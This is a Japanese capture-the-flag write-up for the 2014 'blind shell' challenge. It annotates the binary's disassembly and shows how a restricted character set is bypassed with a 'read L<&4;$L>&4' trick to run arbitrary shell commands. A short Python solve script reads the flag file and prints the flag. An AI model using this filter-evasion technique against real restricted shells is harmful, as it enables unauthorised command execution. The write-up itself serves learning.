Login
Immutable PageDiscussionInfoAttachments

Revision 1 as of 2014-12-18 06:55:02

Clear message
ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-16

MMA

blind shell

問題

Restriction: You can't use any commands. (actually /bin/bash only)

Do not brute force. You don't need to.

blind_shell

nc pwnable.katsudon.org 44010

問題(和訳)

メモ

解法

接続間隔制限が厳しく試行錯誤するのに時間がかかった。

本体は次のようになっており,255文字まで受け付けて,入力された文字のチェックを行っている。 0x20から0x7d以外の文字が入力されると即座にその文字を'\0'で上書きしてexecvに移る。 入力された文字によって実行される処理が異なり0x400a88からテーブルがある。

   1 00400910 <child_main>:
   2   400910:       53                      push   %rbx
   3   400911:       41 89 f8                mov    %edi,%r8d
   4   400914:       b9 20 00 00 00          mov    $0x20,%ecx
   5   400919:       ba ff 00 00 00          mov    $0xff,%edx   ; arg3
   6   40091e:       48 81 ec 30 01 00 00    sub    $0x130,%rsp
   7   400925:       48 8d 5c 24 20          lea    0x20(%rsp),%rbx  ; buf
   8   40092a:       48 c7 04 24 74 0a 40    movq   $0x400a74,(%rsp) # 400a74="/bin/bash"...;
   9   400931:       00 
  10   400932:       48 c7 44 24 08 7e 0a    movq   $0x400a7e,0x8(%rsp)      # 400a7e="-c"...;
  11   400939:       40 00 
  12   40093b:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  13   400942:       00 00 
  14   400944:       48 89 84 24 28 01 00    mov    %rax,0x128(%rsp)
  15   40094b:       00 
  16 
  17   40094c:       31 c0                   xor    %eax,%eax
  18   40094e:       48 89 df                mov    %rbx,%rdi
  19   400951:       48 89 de                mov    %rbx,%rsi    ; arg2
  20   400954:       48 89 5c 24 10          mov    %rbx,0x10(%rsp)
  21   400959:       f3 48 ab                rep stos %rax,%es:(%rdi) ; 0x20*8バイト0フィル
  22                                                         ; arg4 = ecx = 0
  23   40095c:       44 89 c7                mov    %r8d,%edi    ; arg1
  24   40095f:       48 c7 44 24 18 00 00    movq   $0x0,0x18(%rsp)
  25   400966:       00 00 
  26   400968:       e8 03 fd ff ff          callq  400670 <recv@plt>        ; recv(fd, buf, 255, 0)
  27   40096d:       85 c0                   test   %eax,%eax
  28   40096f:       78 66                   js     4009d7 <_400910+0xc7>    ; if error
  29 
  30   400971:       31 c0                   xor    %eax,%eax
  31   400973:       31 f6                   xor    %esi,%esi
  32 
  33   400975:       0f b6 3c 03             movzbl (%rbx,%rax,1),%edi   ; edi = buf[rax];
  34   400979:       48 63 c8                movslq %eax,%rcx            ; ecx = eax;
  35   40097c:       8d 57 e0                lea    -0x20(%rdi),%edx     ; edx = buf[rax] - 0x20;
  36   40097f:       80 fa 5e                cmp    $0x5e,%dl
  37   400982:       77 0c                   ja     400990 <_400910+0x80> ; jump if edx > 0x5e
  38   400984:       0f b6 d2                movzbl %dl,%edx
  39   400987:       ff 24 d5 88 0a 40 00    jmpq   *0x400a88(,%rdx,8)   ; 0x400990: 使用禁止
  40                                                                 ; 0x4009c0: 一回だけ
  41                                                                 ; 0x4009c9: 使用可能
  42   40098e:       66 90                   xchg   %ax,%ax
  43 
  44   400990:       c6 44 0c 20 00          movb   $0x0,0x20(%rsp,%rcx,1)   ; buf[rcx] = '\0';
  45   400995:       48 8b 3c 24             mov    (%rsp),%rdi  ; arg1
  46   400999:       48 89 e6                mov    %rsp,%rsi    ; arg2
  47   40099c:       e8 6f fd ff ff          callq  400710 <execv@plt>
  48   4009a1:       48 8b 84 24 28 01 00    mov    0x128(%rsp),%rax
  49   4009a8:       00 
  50   4009a9:       64 48 33 04 25 28 00    xor    %fs:0x28,%rax
  51   4009b0:       00 00 
  52   4009b2:       75 2d                   jne    4009e1 <_400910+0xd1>
  53   4009b4:       48 81 c4 30 01 00 00    add    $0x130,%rsp
  54   4009bb:       5b                      pop    %rbx
  55   4009bc:       c3                      retq   
  56   4009bd:       0f 1f 00                nopl   (%rax)
  57 
  58   4009c0:       85 f6                   test   %esi,%esi
  59   4009c2:       75 cc                   jne    400990 <_400910+0x80>    ; jmp if esi != 0;
  60   4009c4:       be 01 00 00 00          mov    $0x1,%esi                ; 9c0に来る文字(=' ')は1回しか使えない
  61 
  62   4009c9:       48 83 c0 01             add    $0x1,%rax                ; rax++
  63   4009cd:       48 3d ff 00 00 00       cmp    $0xff,%rax
  64   4009d3:       75 a0                   jne    400975 <_400910+0x65>    ; jmp if rax != 255;
  65   4009d5:       eb be                   jmp    400995 <_400910+0x85>    
  66 
  67   4009d7:       bf 01 00 00 00          mov    $0x1,%edi
  68   4009dc:       e8 1f fd ff ff          callq  400700 <exit@plt>
  69   4009e1:       e8 9a fc ff ff          callq  400680 <__stack_chk_fail@plt>
  70   4009e6:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  71   4009ed:       00 00 00 

利用可能な文字はスペース文字と次の文字のみである。ただしスペース文字は一回限りしか使用できない。

#$&*0123456789:;<=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz

入出力先は標準入出力ではなくソケットであることに注意して, echo *コマンドで調査してみるとflag_is_in_dir/this_is_flagというファイルがあることが分かった。

% echo 'echo *>&4' | nc pwnable.katsudon.org 44010
flag_is_in_dir

ところが使用許可された文字の中にスラッシュが含まれていないためディレクトリにアクセスできない。

readして変数をそのままコマンドとして実行することにより任意のコマンドを実行できるようにした。

read L<&4;$L>&4

再びechoで調べたところ,ディレクトリの中にはflag_is_in_dir/this_is_flagというファイルがあることが分かった。

f.write("echo */*\n")

このままだと複数コマンドやリダイレクトが使えないためevalの上実行した。

eval read S<flag_is_in_dir/this_is_flag; echo $S

   1 import socket
   2 import time
   3 s = socket.create_connection(('pwnable.katsudon.org', 44010))
   4 f = s.makefile()
   5 f.write("read L<&4;$L>&4\n")
   6 f.flush()
   7 time.sleep(1)
   8 # f.write("echo */*\n")
   9 f.write("eval read S<flag_is_in_dir/this_is_flag; echo $S\n")
  10 f.flush()
  11 print f.readline()

% python solve.py
ADCTF_y0u_C4N_533_y0U_c4N_br34tH